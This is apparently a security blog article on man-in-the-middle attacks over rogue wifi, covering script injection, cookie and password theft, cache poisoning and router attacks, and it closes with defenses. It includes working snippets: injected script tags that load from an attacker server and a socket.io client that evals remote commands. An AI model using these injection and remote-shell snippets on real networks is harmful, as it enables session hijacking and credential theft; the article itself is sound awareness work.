Want to use my wifi?

Introduction

This text is about the dangers of man-in-the-middle attacks on browsers, especially in the scenario of open or rogue wifi networks. The scenario I'm assuming here is something like this: Given this scenario, what could go wrong?
I will show that an attacker could probably effectively gain code execution access to your machine in the long term.

Sniffing

The first thing an attacker would probably do is to look at your network traffic. What does that reveal? Well, he can see your DNS traffic and your HTTP traffic. The DNS traffic is pretty uninteresting, and the HTTP traffic also isn't very interesting — the attacker can tell which articles you looked at, and if you don't use an adblocker, he can also see some traffic to ad networks. That's pretty much useless.

Getting a (JS) shell

However, the attacker is not limited to listening to your traffic, he can also modify everything you send and receive over plain HTTP. This means that he can get a javascript shell in the context of every unencrypted page that you look at in your browser by injecting some code into all HTML pages that it sees:
$ curl --proxy localhost:8080 http://blog.fefe.de/faq.html <script>var __evil_injection_server="192.168.178.21:8042"</script> <script src="http://192.168.178.21:8042/socket.io/socket.io.js"></script> <script src="http://192.168.178.21:8042/injection_script.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <META http-equiv="Content-Type" content="text/html; charset=utf-8"> <link rel=stylesheet type="text/css" href="fefe.css"> <title>Fefe Blog FAQ</title> [...]
With something like socket.io, such a remote JS shell is done in a few lines of code. For example, the client side might look like this:
(function() { var socket = io.connect('http://'+__evil_injection_server) socket.emit('register_victim', document.location+'') socket.on('eval', function(cmd) { eval(cmd) }) })()
So what does this mean? The attacker can run code in the victim's browser, but only in the name of the news site the victim is looking at. This alone wouldn't be very interesting, but combined with the ability to sniff and manipulate all plain HTTP traffic by the victim, it is.

Reading cookies

Cookies are pieces of information that websites can store on your PC. The PC will then send this information whenever it sends a request to the same website again, no matter whether the server wants it at that moment. Often, data in cookies is sufficient to authenticate a request, so cookie data is highly relevant to security.
However, there are some restrictions on when cookies are sent: Any website can request content from any other website to be loaded, for example by specifying that an image from the other website should be loaded and embedded into the current website. Therefore, using the JS shell in the browser, the attacker can also cause content from arbitrary websites to be loaded with commands like this:
var img_el = document.createElement('img') img_el.style.opacity = '0%' img_el.src = victim_url document.body.appendChild(img_el) setTimeout(function() { document.body.removeChild(img_el) }, 60000)
This means that the attacker can read arbitrary non-Secure cookies by causing the browser to request an HTTP URL for which the cookie is valid and sniffing the reply.

Examples

These are some sites that can be attacked this way:

Stealing passwords

Modern browsers offer to save passwords and pre-fill login forms with them when you need to log in to the website again. If you have saved your login data on any plain-HTTP site that the attacker knows of, he can use his JS shell in the news site to load the site with the login form in an iframe, then inject another JS shell into the iframe and use that to read the password that the browser fills in. Yes, the website might be sending a X-Frame-Options header or some javascript that prevents framing — but the attacker can just remove all that stuff!

Examples

The german freemailers web.de and GMX have a login form on a plain-HTTP page that sends the password to an HTTPS address. That is secure against simple sniffing, but not against this attack. You might want to manually navigate to the HTTPS versions of those sites...
Same thing with Wordpress.com.
Maybe more interesting is all the stuff in your LAN — your routers and so on. You're probably accessing them all over plain HTTP, which means that the attacker might well be able to get your router admin password. He would have to set up a new webserver that serves a login page at your router's IP, but that's not hard.

Cache Poisoning

HTTP lets the server specify that his reply should be stored by the browser, and in the future, this local copy should be used instead of asking the server for it again — that's caching, and for performance, it's nice. However, an attacker can use it for an attack: He can tell the browser to load a certain URL, then rewrite the reply so that it includes something evil and the reply is stored for years. For example, he could add a remote JS console like the one shown above into some JS file. The impact would be that he could run javascript in the context of the site that includes it whenever you look at such a site — even long after you've left the evil wifi!
You might have the following question now: "What if the browser has already cached a script? Could an attacker still force the browser to reload the script and take his copy?" As it turns out, the answer is yes, it's very easy. The attacker simply has to load the script into an iframe — this causes the locally cached copy to be loaded — and then call frame.contentWindow.location.reload(true). The parameter true simply means "do not use a cached copy, even if you still have a fresh one". (I have no idea what that is good for.)

Download poisoning

Let's say you're a windows user who sometimes downloads software and installs it. From sourceforge, for example. Have a look at the source code of a sourceforge download site — it always includes http://www.google-analytics.com/ga.js. So, an attacker who poisons that file with some evil code while you're in his wifi can manipulate any sourceforge download page that you look at later and redirect you to his server instead of a legitimate mirror. Do you think that you would spot the different download server, especially given that e.g. Chromium and Chrome don't show you which server you're downloading stuff from and given that the download was initiated by a site you trust?
Most download pages are served over HTTP because they don't contain confidential data — but the integrity of the code you download is important!

Commandline snippet poisoning

Maybe you're a linux user who says "Ha! Can't happen to me, I only install software using the package manager!". Well, do you maybe sometimes have problems with your system that you google for? And then you end up on sites like ubuntu forums that contain helpful snippets that you just have to copy and paste to your terminal? Well, most forums (like e.g. ubuntu forums) also include JS files from fixed URLs, so an attacker could inject JS into them. Then, when you have looked at a snippet and decided that you want to paste it on your commandline, the attacker can use JS to make you copy something completely different from what you're seeing to your terminal.

Attacking internal devices

Of course, the attacker could use the same attack to inject evil code into your browser's version of your home router's webinterface. Then, when you're back at home, he could use a cache-injected script in some site to force-load your router's webinterface, then use the cached evil script in the router's webinterface to access it from outside.

Scanning your home network

If you have devices at home whose webinterfaces you have accessed in the past, an attacker can scan for those (assuming that some components of the webinterface are cached). He simply needs to tell the browser to load a should-be-cached resource from every candidate IP, then monitor whether the browser makes a normal request to the URL or not. If not, it's a hit.

Defenses

There are some obvious defenses that a user can use to defend himself against attacks like these. Probably the easiest, yet most powerful one is to only use the browser in incognito mode while surfing on insecure networks. This way, no information (like passwords or cookies) can leak out and no evil cache entries can sneak in. Another one is to use a trusted VPN: This way, you only have to trust the VPN provider instead of the network you are using.
Comments and similar stuff to jann+wtumw_article@thejh.net, please.